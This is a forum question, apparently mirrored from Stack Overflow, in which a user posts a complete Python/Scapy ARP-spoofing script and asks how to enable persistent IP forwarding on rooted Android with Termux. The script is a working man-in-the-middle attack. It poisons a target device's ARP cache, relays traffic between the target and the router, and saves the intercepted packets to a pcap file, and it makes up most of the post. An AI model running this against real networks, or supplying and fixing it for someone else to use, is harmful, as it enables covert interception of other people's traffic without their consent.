Переадресация IP на Android с root-доступом с помощью TermuxPython

Программы на Python
Ответить Пред. темаСлед. тема
Anonymous
 Переадресация IP на Android с root-доступом с помощью Termux

Сообщение Anonymous »

Можно ли перехватывать трафик с помощью ARP-спуфинга на Termux (рутованном Android)?
У меня есть этот скрипт Python:

Код: Выделить всё

from scapy.all import *
from scapy.interfaces import *
from threading import Thread
import logging
import time
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def arp_spoofing():
eth = Ether()
arp = ARP(pdst=target_ip, psrc=gateway_ip, op="is-at")
packet = eth / arp

while True:
sendp(packet, iface=iface, verbose=False)
time.sleep(2)

def get_mac(ip):
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request

answ = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
try:
return answ[0][1].hwsrc
except:
get_mac(ip)

def forward_packet(pkt):
if pkt[Ether].src == target_mac and pkt[Ether].dst == attacker_mac:
pkt[Ether].src = attacker_mac
pkt[Ether].dst = gateway_mac
sendp(pkt, verbose=False)
elif pkt[Ether].src == gateway_mac and pkt[Ether].dst == attacker_mac:
pkt[Ether].src = attacker_mac
pkt[Ether].dst = target_mac
sendp(pkt, verbose=False)
wrpcap(filename, pkt, append=True)
print(f'-----------------------------------------\nPacket intercepted:\nfrom: {pkt[IP].src}\nto: {pkt[IP].dst}\n')
layers = []
for i in range(len(pkt.layers())):
layers.append(pkt.getlayer(i).name)
print(f'Network layers: ', end='')
print(*layers)
if TCP in pkt:
print(f'TCP port: {pkt[TCP].dport}')
print('-----------------------------------------')

def sniffer():
while True:
sniff(prn=forward_packet, filter=filter, iface=iface, count=1)

iface = get_working_if()
filename = input('Name of .pcap file: ') + '.pcap'
target_ip = input('Target IP in local network: ')
target_mac = get_mac(target_ip)
gateway_ip = input('Router IP in local network: ')
gateway_mac = get_mac(gateway_ip)
attacker_mac = Ether().src
filter = f'(ip src {target_ip}) or (ip dst {target_ip})'

mitm = Thread(target=arp_spoofing)
proxy = Thread(target=sniffer, daemon=True)
proxy.start()
mitm.start()

Кажется, что он работает на настольном компьютере Linux с net.ipv4.ip_forward=1, поэтому я попытался включить ip_forward на своем телефоне Android.
Я попробовал следующие команды:
1.

Код: Выделить всё

echo 1 | sudo grep /proc/sys/net/ipv4/ip_forward

Код: Выделить всё

sudo sysctl net.ipv4.ip_forward=1
Он меняет необходимый параметр с 0 на 1, но мне нужно перезагрузить устройство, чтобы переадресация IP заработала. Итак, когда я это делаю, ip_forward снова равен 0.
Что мне следует сделать, чтобы включить переадресацию IP и сделать эти изменения постоянными (сохранить их при перезагрузке)?
Или я могу перенаправить трафик с помощью Scapy и Python?

Подробнее здесь: https://stackoverflow.com/questions/790 ... ing-termux
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «Python»